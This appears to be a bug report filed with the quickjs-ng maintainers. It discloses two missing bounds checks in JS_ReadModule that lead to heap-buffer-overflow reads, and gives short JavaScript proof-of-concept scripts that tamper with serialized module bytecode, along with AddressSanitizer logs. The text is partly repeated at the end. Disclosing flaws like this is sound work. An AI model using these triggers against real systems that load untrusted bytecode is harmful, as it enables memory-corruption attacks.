Hi, we found two locations in JS_ReadModule that directly uses some fields from the user provided bytes as array access indices without bounds check, causing heap-buffer-overflow with an asan build. Thanks for looking into this!
unchecked req_module_idx
Write sites (no validation against req_module_entries_count):
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38283
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38302
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38320
Crash site:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L29925
PoC and ASan Log (Click to expand)
const READ = 1;
const READ_REF = 1 << 3;
const WRITE_FLAGS = 1 | (1 << 3) | (1 << 4);
const mod = std.evalScript("export { out } from 'qjs:std'", { compile_only: true, compile_module: true });
const bc = new Uint8Array(bjson.write(mod, WRITE_FLAGS));
if (bc[0x26] !== 0) throw new Error("layout changed");
bc[0x26] = 1; // req_module_idx: 0 -> 1 (OOB)
std.evalScript(bjson.read(bc.buffer, 0, bc.length, READ | READ_REF), { eval_module: true });
==3958493==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000009c68 at pc 0x55a40a641985 bp 0x7ffd446f2710 sp 0x7ffd446f2708
READ of size 8 at 0x503000009c68 thread T0
#0 0x55a40a641984 in js_inner_module_linking .../quickjs/quickjs.c:29925:62
#1 0x55a40a5cb559 in js_link_module .../quickjs/quickjs.c:30074:9
#2 0x55a40a5cb559 in JS_EvalFunctionInternal .../quickjs/quickjs.c:36342:13
#3 0x55a40a5cb323 in JS_EvalFunction .../quickjs/quickjs.c:36358:12
#4 0x55a40a5532d6 in js_evalScript .../quickjs/quickjs-libc.c:1108:16
#5 0x55a40a561592 in js_call_c_function .../quickjs/quickjs.c:17143:19
#6 0x55a40a5a4798 in JS_CallInternal .../quickjs/quickjs.c:17359:16
#7 0x55a40a5a8313 in JS_CallInternal .../quickjs/quickjs.c:17817:27
#8 0x55a40a67ef78 in async_func_resume .../quickjs/quickjs.c:20257:12
#9 0x55a40a67ef78 in js_async_function_resume .../quickjs/quickjs.c:20512:16
#10 0x55a40a5e6354 in js_async_function_call .../quickjs/quickjs.c:20631:10
unchecked var_idx
Write sites (no validation against closure_var_count):
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38280
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38316
Crash site:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L30022
PoC and ASan Log (Click to expand)
const READ = 1;
const WRITE_FLAGS = 1 | (1 << 3) | (1 << 4);
const mod = std.evalScript("export let x = 1; export let y = 2;", { compile_only: true, compile_module: true });
const bc = new Uint8Array(bjson.write(mod, WRITE_FLAGS));
if (bc[28] !== 0) throw new Error("layout changed");
bc[28] = 0x7f; // local var_idx: 0 -> 127 (OOB)
std.evalScript(bjson.read(bc.buffer, 0, bc.length, READ), { eval_module: true });
==3963942==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001768 at pc 0x55979aca49a4 bp 0x7fff55f03390 sp 0x7fff55f03388
READ of size 8 at 0x502000001768 thread T0
#0 0x55979aca49a3 in js_inner_module_linking .../quickjs/quickjs.c:30022:27
#1 0x55979ac2e559 in js_link_module .../quickjs/quickjs.c:30074:9
#2 0x55979ac2e559 in JS_EvalFunctionInternal .../quickjs/quickjs.c:36342:13
#3 0x55979ac2e323 in JS_EvalFunction .../quickjs/quickjs.c:36358:12
#4 0x55979abb62d6 in js_evalScript .../quickjs/quickjs-libc.c:1108:16
#5 0x55979abc4592 in js_call_c_function .../quickjs/quickjs.c:17143:19
#6 0x55979ac07798 in JS_CallInternal .../quickjs/quickjs.c:17359:16
#7 0x55979ac0b313 in JS_CallInternal .../quickjs/quickjs.c:17817:27
#8 0x55979ace1f78 in async_func_resume .../quickjs/quickjs.c:20257:12
#9 0x55979ace1f78 in js_async_function_resume .../quickjs/quickjs.c:20512:16
#10 0x55979ac49354 in js_async_function_call .../quickjs/quickjs.c:20631:10
Hi, we found two locations in
JS_ReadModulethat directly uses some fields from the user provided bytes as array access indices without bounds check, causing heap-buffer-overflow with an asan build. Thanks for looking into this!unchecked
req_module_idxWrite sites (no validation against
req_module_entries_count):https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38283
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38302
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38320
Crash site:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L29925
PoC and ASan Log (Click to expand)
unchecked
var_idxWrite sites (no validation against
closure_var_count):https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38280
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L38316
Crash site:
https://github.com/quickjs-ng/quickjs/blob/610f849f1090e548c126516ae23dd3edc24c4cb5/quickjs.c#L30022
PoC and ASan Log (Click to expand)